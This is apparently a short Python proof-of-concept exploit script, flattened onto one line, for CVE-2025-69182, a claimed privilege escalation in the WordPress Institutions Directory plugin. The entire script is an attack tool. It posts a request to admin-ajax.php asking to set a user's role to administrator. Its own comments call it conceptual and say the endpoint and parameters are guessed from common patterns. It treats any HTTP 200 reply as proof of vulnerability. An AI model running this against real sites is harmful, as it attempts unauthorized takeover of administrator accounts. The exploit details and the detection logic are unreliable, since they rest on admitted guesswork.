CVE-2025-69182

import requests import sys from urllib.parse import urljoin # CVE-2025-69182 PoC - Institutions Directory Privilege Escalation # Target: WordPress site with Institutions Directory plugin <= 1.3.4 def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-69182""" print(f"[*] Testing target: {target_url}") # Test for privilege escalation vulnerability # The plugin fails to properly check user capabilities # Step 1: Identify the vulnerable endpoint # Usually in wp-admin/admin-ajax.php or custom admin routes ajax_endpoint = urljoin(target_url, 'wp-admin/admin-ajax.php') # Step 2: Try to escalate privileges by calling vulnerable function # This is a conceptual PoC - actual exploitation may vary # Common vulnerable patterns in WordPress plugins: # - Missing current_user_can() checks # - Direct role parameter acceptance # - Insecure capability checks print("[*] Testing for privilege escalation vulnerability...") # Example vulnerable request structure: # POST /wp-admin/admin-ajax.php # action=institutions_directory_update_role # user_id=X # new_role=administrator vulnerable_params = { 'action': 'institutions_directory_update_role', 'user_id': '1', # Usually admin user 'new_role': 'administrator' } try: response = requests.post(ajax_endpoint, data=vulnerable_params, timeout=10) if response.status_code == 200: print("[+] Potential vulnerability detected!") print(f"[+] Response: {response.text[:200]}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == '__main__': if len(sys.argv) > 1: target = sys.argv[1] check_vulnerability(target) else: print("Usage: python cve-2025-69182.py <target_url>")

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